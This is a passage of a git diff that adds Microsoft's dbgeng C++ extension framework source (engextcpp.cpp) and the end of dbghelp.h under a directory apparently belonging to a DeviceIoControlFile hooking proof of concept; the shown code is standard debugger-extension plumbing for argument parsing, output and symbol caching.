+MiniDumpReadDumpStream( + __in PVOID BaseOfDump, + __in ULONG StreamNumber, + __deref_out_opt PMINIDUMP_DIRECTORY * Dir, + __deref_out_opt PVOID * StreamPointer, + __out_opt ULONG * StreamSize + ); + +#if defined(_MSC_VER) +#if _MSC_VER >= 800 +#if _MSC_VER >= 1200 +#pragma warning(pop) +#else +#pragma warning(default:4200) /* Zero length array */ +#pragma warning(default:4201) /* Nameless struct/union */ +#endif +#endif +#endif + +#include + +#ifdef __cplusplus +} +#endif + + +#endif // _DBGHELP_ diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/inc/engextcpp.cpp b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/inc/engextcpp.cpp new file mode 100644 index 00000000..46e49bb5 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/inc/engextcpp.cpp @@ -0,0 +1,4368 @@ +//---------------------------------------------------------------------------- +// +// C++ dbgeng extension framework. +// +// Copyright (C) Microsoft Corporation, 2005-2006. +// +//---------------------------------------------------------------------------- + +#include +#include +#include + +#if defined(_PREFAST_) || defined(_PREFIX_) +#define PRE_ASSUME(_Cond) __analysis_assume(_Cond) +#else +#define PRE_ASSUME(_Cond) +#endif + +#define IsSpace(_Char) isspace((UCHAR)(_Char)) + +WINDBG_EXTENSION_APIS64 ExtensionApis; +ExtCheckedPointer + g_Ext("g_Ext not set, used outside of a command"); + +//---------------------------------------------------------------------------- +// +// ExtException family. +// +//---------------------------------------------------------------------------- + +void +ExtException::PrintMessageVa(__in_ecount(BufferChars) PSTR Buffer, + __in ULONG BufferChars, + __in PCSTR Format, + __in va_list Args) +{ + StringCchVPrintfA(Buffer, BufferChars, Format, Args); + m_Message = Buffer; +} + +void WINAPIV +ExtException::PrintMessage(__in_ecount(BufferChars) PSTR Buffer, + __in ULONG BufferChars, + __in PCSTR Format, + ...) +{ + va_list Args; + + va_start(Args, Format); + PrintMessageVa(Buffer, BufferChars, Format, Args); + va_end(Args); +} + +//---------------------------------------------------------------------------- +// +// Holders. +// +//---------------------------------------------------------------------------- + +void +ExtCurrentThreadHolder::Refresh(void) +{ + HRESULT Status; + + if ((Status = g_Ext->m_System-> + GetCurrentThreadId(&m_ThreadId)) != S_OK) + { + throw ExtStatusException(Status, + "ExtCurrentThreadHolder::Refresh failed"); + } +} + +void +ExtCurrentThreadHolder::Restore(void) +{ + if (m_ThreadId != DEBUG_ANY_ID) + { + PRE_ASSUME(g_Ext.IsSet()); + if (g_Ext.IsSet()) + { + // Ensure that g_Ext-> operator will not throw exception. + g_Ext->m_System->SetCurrentThreadId(m_ThreadId); + } + m_ThreadId = DEBUG_ANY_ID; + } +} + +void +ExtCurrentProcessHolder::Refresh(void) +{ + HRESULT Status; + + if ((Status = g_Ext->m_System-> + GetCurrentProcessId(&m_ProcessId)) != S_OK) + { + throw ExtStatusException(Status, + "ExtCurrentProcessHolder::Refresh failed"); + } +} + +void +ExtCurrentProcessHolder::Restore(void) +{ + if (m_ProcessId != DEBUG_ANY_ID) + { + PRE_ASSUME(g_Ext.IsSet()); + if (g_Ext.IsSet()) + { + // Ensure that g_Ext-> operator will not throw exception. + g_Ext->m_System->SetCurrentProcessId(m_ProcessId); + } + m_ProcessId = DEBUG_ANY_ID; + } +} + +//---------------------------------------------------------------------------- +// +// ExtCommandDesc. +// +//---------------------------------------------------------------------------- + +ExtCommandDesc* ExtCommandDesc::s_Commands; +ULONG ExtCommandDesc::s_LongestCommandName; + +ExtCommandDesc::ExtCommandDesc(__in PCSTR Name, + __in ExtCommandMethod Method, + __in PCSTR Desc, + __in_opt PCSTR Args) +{ + m_Name = Name; + m_Method = Method; + m_Desc = Desc; + m_ArgDescStr = Args; + + ClearArgs(); + + // + // Add into command list sorted by name. + // + + ExtCommandDesc* Cur, *Prev; + + Prev = NULL; + for (Cur = s_Commands; Cur; Cur = Cur->m_Next) + { + if (strcmp(Name, Cur->m_Name) < 0) + { + break; + } + + Prev = Cur; + } + + if (Prev) + { + Prev->m_Next = this; + } + else + { + s_Commands = this; + } + m_Next = Cur; + + if (strlen(Name) > s_LongestCommandName) + { + s_LongestCommandName = strlen(Name); + } +} + +ExtCommandDesc::~ExtCommandDesc(void) +{ + DeleteArgs(); +} + +void +ExtCommandDesc::ClearArgs(void) +{ + m_ArgsInitialized = false; + m_CustomArgParsing = false; + m_CustomArgDescLong = NULL; + m_CustomArgDescShort = NULL; + m_OptionChars = "/-"; + m_ArgStrings = NULL; + m_NumArgs = 0; + m_NumUnnamedArgs = 0; + m_Args = NULL; +} + +void +ExtCommandDesc::DeleteArgs(void) +{ + free(m_ArgStrings); + delete [] m_Args; + ClearArgs(); +} + +PSTR +ExtCommandDesc::ParseDirective(__in PSTR Scan) +{ + // + // Scan to collect the directive name. + // + + PSTR Name = Scan; + while (*Scan != ':' && *Scan != '}') + { + if (!*Scan) + { + m_Ext->ThrowInvalidArg("ArgDesc: Improper directive " + "name termination"); + } + + Scan++; + } + + // + // Scan to collect the directive value. + // + + PSTR Value = ""; + + if (*Scan == ':') + { + *Scan++ = 0; + Value = Scan; + + while (*Scan != '}' || + *(Scan + 1) != '}') + { + if (!*Scan) + { + m_Ext->ThrowInvalidArg("ArgDesc: Improper directive " + "value termination"); + } + + Scan++; + } + } + else if (*(Scan + 1) != '}') + { + m_Ext->ThrowInvalidArg("ArgDesc: Improper directive }} closure"); + } + + // Terminate name or value. + *Scan = 0; + Scan += 2; + + // + // Process directive. + // + + bool NoValue = false; + bool NeedValue = false; + + if (!strcmp(Name, "custom")) + { + m_CustomArgParsing = true; + NoValue = true; + } + else if (!strcmp(Name, "l")) + { + m_CustomArgDescLong = Value; + NeedValue = true; + } + else if (!strcmp(Name, "opt")) + { + m_OptionChars = Value; + } + else if (!strcmp(Name, "s")) + { + m_CustomArgDescShort = Value; + NeedValue = true; + } + else + { + m_Ext->ThrowInvalidArg("ArgDesc: Unknown directive '%s'", Name); + } + + if (!Value[0] && NeedValue) + { + m_Ext->ThrowInvalidArg("ArgDesc: {{%s}} requires an argument", Name); + } + if (Value[0] && NoValue) + { + m_Ext->ThrowInvalidArg("ArgDesc: {{%s}} does not have an argument", + Name); + } + + return Scan; +} + +void +ExtCommandDesc::ParseArgDesc(void) +{ + // + // Parse the argument description. + // + + if (!m_ArgDescStr || + !m_ArgDescStr[0]) + { + // No arguments. + return; + } + + // First copy the string so we can chop it up. + m_ArgStrings = _strdup(m_ArgDescStr); + if (! m_ArgStrings) + { + m_Ext->ThrowOutOfMemory(); + } + + // + // Each argument description is + // {;;;} + // + + ArgDesc Args[ExtExtension::s_MaxArgs]; + ArgDesc* Arg = Args - 1; + ULONG NumUnOptArgs = 0; + bool RemainderUsed = false; + + PSTR Scan = m_ArgStrings; + + while (*Scan) + { + if (*Scan != '{') + { + m_Ext->ThrowInvalidArg("ArgDesc: Missing { at '%s'", Scan); + } + Scan++; + + if (*Scan == '{') + { + // This is a {{directive}} and not an argument. + Scan = ParseDirective(++Scan); + continue; + } + + if (m_NumArgs >= EXT_DIMA(Args)) + { + m_Ext->ThrowInvalidArg("ArgDesc: Argument count " + "overflow at '%s'", Scan); + } + m_NumArgs++; + Arg++; + + // + // Check for an argument name. + // Arguments can be unnamed. + // + + if (*Scan == '}' || + *Scan == ';') + { + Arg->Name = NULL; + m_NumUnnamedArgs++; + if (*Scan == ';') + { + Scan++; + } + } + else + { + Arg->Name = Scan; + while (*Scan != '}' && + *Scan != ';') + { + if (!*Scan) + { + m_Ext->ThrowInvalidArg("ArgDesc: Improper argument " + "name termination for '%s'", + Arg->Name); + } + + Scan++; + } + if (*Scan != '}') + { + *Scan++ = 0; + } + + if (Arg->Name[0] == '?' && + !Arg->Name[1]) + { + m_Ext->ThrowInvalidArg("ArgDesc: /? is automatically " + "provided by the framework"); + } + } + + // + // Check for a type. + // Type defaults to string. + // + + PCSTR TypeName = "ERROR"; + + Arg->Boolean = false; + Arg->Expression = false; + Arg->String = false; + Arg->StringRemainder = false; + + switch(*Scan) + { + case 'x': + Arg->StringRemainder = true; + __fallthrough; + case 's': + Scan++; + __fallthrough; + case '}': + case ';': + case ',': + TypeName = "string"; + Arg->String = true; + break; + case 'b': + Scan++; + Arg->Boolean = true; + break; + case 'e': + Scan++; + TypeName = "expr"; + Arg->Expression = true; + Arg->ExpressionBits = 64; + Arg->ExpressionSigned = false; + Arg->ExpressionDelimited = false; + for (;;) + { + if (*Scan == 'd') + { + Arg->ExpressionDelimited = true; + } + else if (*Scan == 's') + { + Arg->ExpressionSigned = true; + } + else + { + break; + } + + Scan++; + } + if (*Scan >= '0' && *Scan <= '9') + { + Arg->ExpressionBits = strtoul(Scan, &Scan, 10); + if (Arg->ExpressionBits < 1 || + Arg->ExpressionBits > 64) + { + m_Ext->ThrowInvalidArg("ArgDesc: " + "Invalid expression bit count %u", + Arg->ExpressionBits); + } + } + break; + default: + m_Ext->ThrowInvalidArg("ArgDesc: Unknown argument type at '%s'", + Scan); + break; + } + + // + // Check for flags. + // + + PSTR NeedTerm = NULL; + + Arg->Default = NULL; + Arg->DefaultSilent = false; + + // Unnamed arguments default to + // required as a required argument + // tail is a very common pattern. + Arg->Required = Arg->Name == NULL; + + while (*Scan == ',') + { + if (NeedTerm) + { + *NeedTerm = 0; + NeedTerm = NULL; + } + + Scan++; + switch(*Scan) + { + case 'd': + Scan++; + switch(*Scan) + { + case '=': + if (Arg->Boolean) + { + m_Ext->ThrowInvalidArg("ArgDesc: boolean arguments " + "cannot have defaults"); + } + + Arg->Default = ++Scan; + while (*Scan && + *Scan != ',' && + *Scan != ';' && + *Scan != '}') + { + Scan++; + } + if (*Scan != '}') + { + NeedTerm = Scan; + } + break; + case 's': + Scan++; + Arg->DefaultSilent = true; + break; + default: + m_Ext->ThrowInvalidArg("ArgDesc: " + "Unknown 'd' argument flag at '%s'", + Scan); + } + break; + case 'o': + Scan++; + Arg->Required = false; + break; + case 'r': + Scan++; + Arg->Required = true; + break; + default: + m_Ext->ThrowInvalidArg("ArgDesc: " + "Unknown argument flag at '%s'", + Scan); + } + } + if (*Scan == ';') + { + Scan++; + } + else if (*Scan != '}') + { + m_Ext->ThrowInvalidArg("ArgDesc: Improper argument " + "type/flags termination at '%s'", + Scan); + } + + if (NeedTerm) + { + *NeedTerm = 0; + NeedTerm = NULL; + } + + if (!Arg->Name) + { + if (Arg->Boolean) + { + // Not possible to have an unnamed flag + // since the presence/absence of the flag + // is what a boolean is for. + m_Ext->ThrowInvalidArg("ArgDesc: Boolean arguments " + "must be named"); + } + + // Given the lack of placement identification (a name), + // unnamed arguments are filled in the + // order they appear in the argument string. + // That means that a required argument cannot + // follow an optional argument since there's + // no way of knowing that the optional argument + // should be skipped. + if (!Arg->Required) + { + NumUnOptArgs++; + } + else + { + if (NumUnOptArgs > 0) + { + m_Ext->ThrowInvalidArg("ArgDesc: " + "Required unnamed arguments " + "cannot follow optional " + "unnamed arguments"); + } + } + + if (RemainderUsed) + { + m_Ext->ThrowInvalidArg("ArgDesc: " + "Unnamed arguments " + "cannot follow remainder usage"); + } + + if (Arg->StringRemainder) + { + RemainderUsed = true; + } + } + + // + // Check for a short descriptive argument name. + // + + if (*Scan == '}' || + *Scan == ';') + { + // Use a default name so there's always + // some short description. + Arg->DescShort = TypeName; + if (*Scan == ';') + { + Scan++; + } + } + else + { + Arg->DescShort = Scan; + while (*Scan != '}' && + *Scan != ';') + { + if (!*Scan) + { + m_Ext->ThrowInvalidArg("ArgDesc: " + "Improper short description " + "termination for '%s'", + Arg->Name ? + Arg->Name : ""); + } + + Scan++; + } + if (*Scan != '}') + { + *Scan++ = 0; + } + } + + // + // Check for a long argument description. + // + + if (*Scan == '}') + { + Arg->DescLong = NULL; + } + else + { + Arg->DescLong = Scan; + while (*Scan != '}') + { + if (!*Scan) + { + m_Ext->ThrowInvalidArg("ArgDesc: " + "Improper long description " + "termination for '%s'", + Arg->Name ? + Arg->Name : ""); + } + + Scan++; + } + } + + // + // Finished. + // Terminate whatever was the last string + // in the description. + // + + if (*Scan != '}') + { + m_Ext->ThrowInvalidArg("ArgDesc: Expecting } at '%s'", Scan); + } + + *Scan++ = 0; + } + + // Copy temporary array to permanent storage. + if (m_NumArgs) + { + m_Args = new ArgDesc[m_NumArgs]; + if (! m_Args) + { + m_Ext->ThrowOutOfMemory(); + } + memcpy(m_Args, Args, m_NumArgs * sizeof(m_Args[0])); + } + + m_ArgsInitialized = true; +} + +void +ExtCommandDesc::ExInitialize(__in ExtExtension* Ext) +{ + m_Ext = Ext; + + if (!m_ArgsInitialized) + { + try + { + ParseArgDesc(); + } + catch(...) + { + DeleteArgs(); + throw; + } + } +} + +ExtCommandDesc::ArgDesc* +ExtCommandDesc::FindArg(__in PCSTR Name) +{ + ArgDesc* Check = m_Args; + for (ULONG i = 0; i < m_NumArgs; i++, Check++) + { + if (Check->Name && + !strcmp(Name, Check->Name)) + { + return Check; + } + } + return NULL; +} + +ExtCommandDesc::ArgDesc* +ExtCommandDesc::FindUnnamedArg(__in ULONG Index) +{ + ArgDesc* Check = m_Args; + for (ULONG i = 0; i < m_NumArgs; i++, Check++) + { + if (!Check->Name && + Index-- == 0) + { + return Check; + } + } + return NULL; +} + +void +ExtCommandDesc::Transfer(__out ExtCommandDesc** Commands, + __out PULONG LongestName) +{ + *Commands = s_Commands; + s_Commands = NULL; + *LongestName = ExtCommandDesc::s_LongestCommandName; + s_LongestCommandName = 0; +} + +//---------------------------------------------------------------------------- +// +// ExtExtension. +// +//---------------------------------------------------------------------------- + +HMODULE ExtExtension::s_Module; +char ExtExtension::s_String[2000]; +char ExtExtension::s_CircleStringBuffer[2000]; +char* ExtExtension::s_CircleString = s_CircleStringBuffer; + +ExtExtension::ExtExtension(void) + : m_Advanced("The extension did not initialize properly."), + m_Client("The extension did not initialize properly."), + m_Control("The extension did not initialize properly."), + m_Data("The extension did not initialize properly."), + m_Registers("The extension did not initialize properly."), + m_Symbols("The extension did not initialize properly."), + m_System("The extension did not initialize properly."), + m_Advanced2("The extension requires IDebugAdvanced2."), + m_Advanced3("The extension requires IDebugAdvanced3."), + m_Client2("The extension requires IDebugClient2."), + m_Client3("The extension requires IDebugClient3."), + m_Client4("The extension requires IDebugClient4."), + m_Client5("The extension requires IDebugClient5."), + m_Control2("The extension requires IDebugControl2."), + m_Control3("The extension requires IDebugControl3."), + m_Control4("The extension requires IDebugControl4."), + m_Data2("The extension requires IDebugDataSpaces2."), + m_Data3("The extension requires IDebugDataSpaces3."), + m_Data4("The extension requires IDebugDataSpaces4."), + m_Registers2("The extension requires IDebugRegisters2."), + m_Symbols2("The extension requires IDebugSymbols2."), + m_Symbols3("The extension requires IDebugSymbols3."), + m_System2("The extension requires IDebugSystemObjects2."), + m_System3("The extension requires IDebugSystemObjects3."), + m_System4("The extension requires IDebugSystemObjects4.") +{ + m_ExtMajorVersion = 1; + m_ExtMinorVersion = 0; + m_ExtInitFlags = DEBUG_EXTINIT_HAS_COMMAND_HELP; + + m_KnownStructs = NULL; + m_ProvidedValues = NULL; + + m_ExInitialized = false; + m_OutMask = DEBUG_OUTPUT_NORMAL; + m_CurChar = 0; + m_LeftIndent = 0; + m_AllowWrap = true; + m_TestWrap = 0; + + m_CurCommand = NULL; + + m_AppendBuffer = NULL; + m_AppendBufferChars = 0; + m_AppendAt = NULL; +} + +HRESULT +ExtExtension::Initialize(void) +{ + return S_OK; +} + +void +ExtExtension::Uninitialize(void) +{ + // Empty. +} + +void +ExtExtension::OnSessionActive(__in ULONG64 Argument) +{ + UNREFERENCED_PARAMETER(Argument); + // Empty. +} + +void +ExtExtension::OnSessionInactive(__in ULONG64 Argument) +{ + UNREFERENCED_PARAMETER(Argument); + // Empty. +} + +void +ExtExtension::OnSessionAccessible(__in ULONG64 Argument) +{ + UNREFERENCED_PARAMETER(Argument); + // Empty. +} + +void +ExtExtension::OnSessionInaccessible(__in ULONG64 Argument) +{ + UNREFERENCED_PARAMETER(Argument); + // Empty. +} + +void WINAPIV +ExtExtension::Out(__in PCSTR Format, + ...) +{ + va_list Args; + + va_start(Args, Format); + m_Control->OutputVaList(m_OutMask, Format, Args); + va_end(Args); +} + +void WINAPIV +ExtExtension::Warn(__in PCSTR Format, + ...) +{ + va_list Args; + + va_start(Args, Format); + m_Control->OutputVaList(DEBUG_OUTPUT_WARNING, Format, Args); + va_end(Args); +} + +void WINAPIV +ExtExtension::Err(__in PCSTR Format, + ...) +{ + va_list Args; + + va_start(Args, Format); + m_Control->OutputVaList(DEBUG_OUTPUT_ERROR, Format, Args); + va_end(Args); +} + +void WINAPIV +ExtExtension::Verb(__in PCSTR Format, + ...) +{ + va_list Args; + + va_start(Args, Format); + m_Control->OutputVaList(DEBUG_OUTPUT_VERBOSE, Format, Args); + va_end(Args); +} + +void WINAPIV +ExtExtension::Out(__in PCWSTR Format, + ...) +{ + va_list Args; + + va_start(Args, Format); + m_Control4->OutputVaListWide(m_OutMask, Format, Args); + va_end(Args); +} + +void WINAPIV +ExtExtension::Warn(__in PCWSTR Format, + ...) +{ + va_list Args; + + va_start(Args, Format); + m_Control4->OutputVaListWide(DEBUG_OUTPUT_WARNING, Format, Args); + va_end(Args); +} + +void WINAPIV +ExtExtension::Err(__in PCWSTR Format, + ...) +{ + va_list Args; + + va_start(Args, Format); + m_Control4->OutputVaListWide(DEBUG_OUTPUT_ERROR, Format, Args); + va_end(Args); +} + +void WINAPIV +ExtExtension::Verb(__in PCWSTR Format, + ...) +{ + va_list Args; + + va_start(Args, Format); + m_Control4->OutputVaListWide(DEBUG_OUTPUT_VERBOSE, Format, Args); + va_end(Args); +} + +void WINAPIV +ExtExtension::Dml(__in PCSTR Format, + ...) +{ + va_list Args; + + va_start(Args, Format); + m_Control->ControlledOutputVaList(DEBUG_OUTCTL_AMBIENT_DML, + m_OutMask, Format, Args); + va_end(Args); +} + +void WINAPIV +ExtExtension::DmlWarn(__in PCSTR Format, + ...) +{ + va_list Args; + + va_start(Args, Format); + m_Control->ControlledOutputVaList(DEBUG_OUTCTL_AMBIENT_DML, + DEBUG_OUTPUT_WARNING, Format, Args); + va_end(Args); +} + +void WINAPIV +ExtExtension::DmlErr(__in PCSTR Format, + ...) +{ + va_list Args; + + va_start(Args, Format); + m_Control->ControlledOutputVaList(DEBUG_OUTCTL_AMBIENT_DML, + DEBUG_OUTPUT_ERROR, Format, Args); + va_end(Args); +} + +void WINAPIV +ExtExtension::DmlVerb(__in PCSTR Format, + ...) +{ + va_list Args; + + va_start(Args, Format); + m_Control->ControlledOutputVaList(DEBUG_OUTCTL_AMBIENT_DML, + DEBUG_OUTPUT_VERBOSE, Format, Args); + va_end(Args); +} + +void WINAPIV +ExtExtension::Dml(__in PCWSTR Format, + ...) +{ + va_list Args; + + va_start(Args, Format); + m_Control4->ControlledOutputVaListWide(DEBUG_OUTCTL_AMBIENT_DML, + m_OutMask, + Format, + Args); + va_end(Args); +} + +void WINAPIV +ExtExtension::DmlWarn(__in PCWSTR Format, + ...) +{ + va_list Args; + + va_start(Args, Format); + m_Control4->ControlledOutputVaListWide(DEBUG_OUTCTL_AMBIENT_DML, + DEBUG_OUTPUT_WARNING, + Format, + Args); + va_end(Args); +} + +void WINAPIV +ExtExtension::DmlErr(__in PCWSTR Format, + ...) +{ + va_list Args; + + va_start(Args, Format); + m_Control4->ControlledOutputVaListWide(DEBUG_OUTCTL_AMBIENT_DML, + DEBUG_OUTPUT_ERROR, + Format, + Args); + va_end(Args); +} + +void WINAPIV +ExtExtension::DmlVerb(__in PCWSTR Format, + ...) +{ + va_list Args; + + va_start(Args, Format); + m_Control4->ControlledOutputVaListWide(DEBUG_OUTCTL_AMBIENT_DML, + DEBUG_OUTPUT_VERBOSE, + Format, + Args); + va_end(Args); +} + +void +ExtExtension::WrapLine(void) +{ + if (m_LeftIndent) + { + m_Control->Output(m_OutMask, "\n%*c", m_LeftIndent, ' '); + } + else + { + m_Control->Output(m_OutMask, "\n"); + } + m_CurChar = m_LeftIndent; +} + +void +ExtExtension::OutWrapStr(__in PCSTR String) +{ + if (m_TestWrap) + { + m_TestWrapChars += strlen(String); + return; + } + + while (*String) + { + // + // Collect characters until the end or + // until we run out of output width. + // + + PCSTR Scan = String; + PCSTR LastSpace = NULL; + while (*Scan && + *Scan != '\n' && + (!m_AllowWrap || + !LastSpace || + m_CurChar < m_OutputWidth)) + { + if (*Scan == ' ') + { + LastSpace = Scan; + } + + m_CurChar++; + Scan++; + } + + if (m_AllowWrap && + LastSpace && + ((*Scan && *Scan != '\n') || + m_CurChar >= m_OutputWidth)) + { + // We ran out of room, so dump output up + // to the last space. + Scan = LastSpace; + } + + m_Control->Output(m_OutMask, "%.*s", (int)(Scan - String), String); + + if (!*Scan) + { + break; + } + + // + // Wrap to the next line. + // + + WrapLine(); + String = Scan + 1; + while (*String == ' ') + { + String++; + } + } +} + +void WINAPIV +ExtExtension::OutWrapVa(__in PCSTR Format, + __in va_list Args) +{ + StringCbVPrintf(s_String, sizeof(s_String), Format, Args); + OutWrapStr(s_String); +} + +void WINAPIV +ExtExtension::OutWrap(__in PCSTR Format, + ...) +{ + va_list Args; + + va_start(Args, Format); + OutWrapVa(Format, Args); + va_end(Args); +} + +PSTR +ExtExtension::RequestCircleString(__in ULONG Chars) +{ + if (Chars > EXT_DIMA(s_CircleStringBuffer)) + { + ThrowInvalidArg("Circle string buffer overflow, %u chars", Chars); + } + + if ((ULONG_PTR)(s_CircleString - s_CircleStringBuffer) > + EXT_DIMA(s_CircleStringBuffer) - Chars) + { + // String is too long to fit in the remainder, wrap around. + s_CircleString = s_CircleStringBuffer; + } + + PSTR Str = s_CircleString; + s_CircleString += Chars; + return Str; +} + +PSTR +ExtExtension::CopyCircleString(__in PCSTR Str) +{ + PSTR Buf; + ULONG Chars; + + Chars = strlen(Str) + 1; + Buf = RequestCircleString(Chars); + memcpy(Buf, Str, Chars * sizeof(*Str)); + return Buf; +} + +PSTR +ExtExtension::PrintCircleStringVa(__in PCSTR Format, + __in va_list Args) +{ + StringCbVPrintf(s_String, sizeof(s_String), Format, Args); + return CopyCircleString(s_String); +} + +PSTR WINAPIV +ExtExtension::PrintCircleString(__in PCSTR Format, + ...) +{ + PSTR Str; + va_list Args; + + va_start(Args, Format); + Str = PrintCircleStringVa(Format, Args); + va_end(Args); + return Str; +} + +void +ExtExtension::SetAppendBuffer(__in_ecount(BufferChars) PSTR Buffer, + __in ULONG BufferChars) +{ + m_AppendBuffer = Buffer; + m_AppendBufferChars = BufferChars; + m_AppendAt = Buffer; +} + +void +ExtExtension::AppendBufferString(__in PCSTR Str) +{ + ULONG Chars; + + Chars = strlen(Str) + 1; + if (Chars > m_AppendBufferChars || + (ULONG_PTR)(m_AppendAt - m_AppendBuffer) > m_AppendBufferChars - Chars) + { + ThrowStatus(HRESULT_FROM_WIN32(ERROR_BUFFER_OVERFLOW), + "Append string overflowed"); + } + + memcpy(m_AppendAt, Str, Chars * sizeof(*Str)); + // Position next append where it will overwrite the terminator + // to continue the existing string. + m_AppendAt += Chars - 1; +} + +void +ExtExtension::AppendStringVa(__in PCSTR Format, + __in va_list Args) +{ + if (m_AppendBuffer >= s_String && + m_AppendBuffer <= s_String + (EXT_DIMA(s_String) - 1)) + { + ThrowInvalidArg("Append string buffer cannot use s_String"); + } + + StringCbVPrintf(s_String, sizeof(s_String), Format, Args); + AppendBufferString(s_String); +} + +void WINAPIV +ExtExtension::AppendString(__in PCSTR Format, + ...) +{ + va_list Args; + + va_start(Args, Format); + AppendStringVa(Format, Args); + va_end(Args); +} + +void +ExtExtension::SetCallStatus(__in HRESULT Status) +{ + // If an error has already been saved don't override it. + if (!FAILED(m_CallStatus)) + { + m_CallStatus = Status; + } +} + +ULONG +ExtExtension::GetCachedSymbolTypeId(__inout PULONG64 Cookie, + __in PCSTR Symbol, + __out PULONG64 ModBase) +{ + HRESULT Status; + DEBUG_CACHED_SYMBOL_INFO Info; + + // + // Check for an existing cache entry. + // + + if ((Status = m_Advanced2-> + Request(DEBUG_REQUEST_GET_CACHED_SYMBOL_INFO, + Cookie, + sizeof(*Cookie), + &Info, + sizeof(Info), + NULL)) == S_OK) + { + *ModBase = Info.ModBase; + return Info.Id; + } + + // + // No entry in cache, find the data the hard way. + // + + ZeroMemory(&Info, sizeof(Info)); + + if ((Status = m_Symbols-> + GetSymbolTypeId(Symbol, + &Info.Id, + &Info.ModBase)) != S_OK) + { + ThrowStatus(Status, "Unable to get type ID of '%s'", + Symbol); + } + + *ModBase = Info.ModBase; + + // + // Add recovered info to cache. + // We don't care if this fails as + // cache addition is not required, + // we just zero the cookie. + // + + if (m_Advanced2-> + Request(DEBUG_REQUEST_ADD_CACHED_SYMBOL_INFO, + &Info, + sizeof(Info), + Cookie, + sizeof(*Cookie), + NULL) != S_OK) + { + *Cookie = 0; + } + + return Info.Id; +} + +ULONG +ExtExtension::GetCachedFieldOffset(__inout PULONG64 Cookie, + __in PCSTR Type, + __in PCSTR Field, + __out_opt PULONG64 TypeModBase, + __out_opt PULONG TypeId) +{ + HRESULT Status; + DEBUG_CACHED_SYMBOL_INFO Info; + + // + // Check for an existing cache entry. + // + + if ((Status = m_Advanced2-> + Request(DEBUG_REQUEST_GET_CACHED_SYMBOL_INFO, + Cookie, + sizeof(*Cookie), + &Info, + sizeof(Info), + NULL)) == S_OK) + { + if (TypeModBase) + { + *TypeModBase = Info.ModBase; + } + if (TypeId) + { + *TypeId = Info.Id; + } + return Info.Arg3; + } + + // + // No entry in cache, find the data the hard way. + // + + ZeroMemory(&Info, sizeof(Info)); + + if ((Status = m_Symbols-> + GetSymbolTypeId(Type, + &Info.Id, + &Info.ModBase)) != S_OK) + { + ThrowStatus(Status, "Unable to get type ID of '%s'", + Type); + } + if ((Status = m_Symbols-> + GetFieldOffset(Info.ModBase, + Info.Id, + Field, + &Info.Arg3)) != S_OK) + { + ThrowStatus(Status, "Unable to get field '%s.%s'", + Type, Field); + } + + if (TypeModBase) + { + *TypeModBase = Info.ModBase; + } + if (TypeId) + { + *TypeId = Info.Id; + } + + // + // Add recovered info to cache. + // We don't care if this fails as + // cache addition is not required, + // we just zero the cookie. + // + + if (m_Advanced2-> + Request(DEBUG_REQUEST_ADD_CACHED_SYMBOL_INFO, + &Info, + sizeof(Info), + Cookie, + sizeof(*Cookie), + NULL) != S_OK) + { + *Cookie = 0; + } + + return Info.Arg3; +} + +bool +ExtExtension::GetCachedSymbolInfo(__in ULONG64 Cookie, + __out PDEBUG_CACHED_SYMBOL_INFO Info) +{ + HRESULT Status; + + if ((Status = m_Advanced2-> + Request(DEBUG_REQUEST_GET_CACHED_SYMBOL_INFO, + &Cookie, + sizeof(Cookie), + Info, + sizeof(*Info), + NULL)) == S_OK) + { + return true; + } + + return false; +} + +bool +ExtExtension::AddCachedSymbolInfo(__in PDEBUG_CACHED_SYMBOL_INFO Info, + __in bool ThrowFailure, + __out PULONG64 Cookie) +{ + HRESULT Status; + + if ((Status = m_Advanced2-> + Request(DEBUG_REQUEST_ADD_CACHED_SYMBOL_INFO, + Info, + sizeof(*Info), + Cookie, + sizeof(*Cookie), + NULL)) == S_OK) + { + return true; + } + + if (ThrowFailure) + { + ThrowStatus(Status, "Unable to cache symbol info"); + } + + return false; +} + +void +ExtExtension::GetModuleImagehlpInfo(__in ULONG64 ModBase, + __out struct _IMAGEHLP_MODULEW64* Info) +{ + HRESULT Status; + + ZeroMemory(Info, sizeof(*Info)); + Info->SizeOfStruct = sizeof(*Info); + + if ((Status = m_Advanced2-> + GetSymbolInformation(DEBUG_SYMINFO_IMAGEHLP_MODULEW64, + ModBase, + 0, + Info, + Info->SizeOfStruct, + NULL, + NULL, + 0, + NULL)) != S_OK) + { + ThrowStatus(Status, "Unable to retrieve module info"); + } +} + +bool +ExtExtension::ModuleHasGlobalSymbols(__in ULONG64 ModBase) +{ + IMAGEHLP_MODULEW64 Info; + + GetModuleImagehlpInfo(ModBase, &Info); + return Info.GlobalSymbols != FALSE; +} + +bool +ExtExtension::ModuleHasTypeInfo(__in ULONG64 ModBase) +{ + IMAGEHLP_MODULEW64 Info; + + GetModuleImagehlpInfo(ModBase, &Info); + return Info.TypeInfo != FALSE; +} + +PCSTR +ExtExtension::GetUnnamedArgStr(__in ULONG Index) +{ + if (Index >= m_NumUnnamedArgs) + { + ThrowInvalidArg("Invalid unnamed argument index %u, only given %u", + Index + 1, m_NumUnnamedArgs); + } + if (!m_Args[Index].StrVal) + { + ThrowInvalidArg("Unnamed argument index %u is not a string", + Index + 1); + } + + return m_Args[Index].StrVal; +} + +ULONG64 +ExtExtension::GetUnnamedArgU64(__in ULONG Index) +{ + if (Index >= m_NumUnnamedArgs) + { + ThrowInvalidArg("Invalid unnamed argument index %u, only given %u", + Index + 1, m_NumUnnamedArgs); + } + if (m_Args[Index].StrVal) + { + ThrowInvalidArg("Unnamed argument index %u is not a number", + Index + 1); + } + + return m_Args[Index].NumVal; +} + +PCSTR +ExtExtension::GetArgStr(__in PCSTR Name, + __in bool Required) +{ + ArgVal* Arg = FindArg(Name, Required); + if (!Arg) + { + return NULL; + } + if (!Arg->StrVal) + { + ThrowInvalidArg("Argument /%s is not a string", + Name); + } + return Arg->StrVal; +} + +ULONG64 +ExtExtension::GetArgU64(__in PCSTR Name, + __in bool Required) +{ + ArgVal* Arg = FindArg(Name, Required); + if (!Arg) + { + return 0; + } + if (Arg->StrVal) + { + ThrowInvalidArg("Argument /%s is not a number", + Name); + } + return 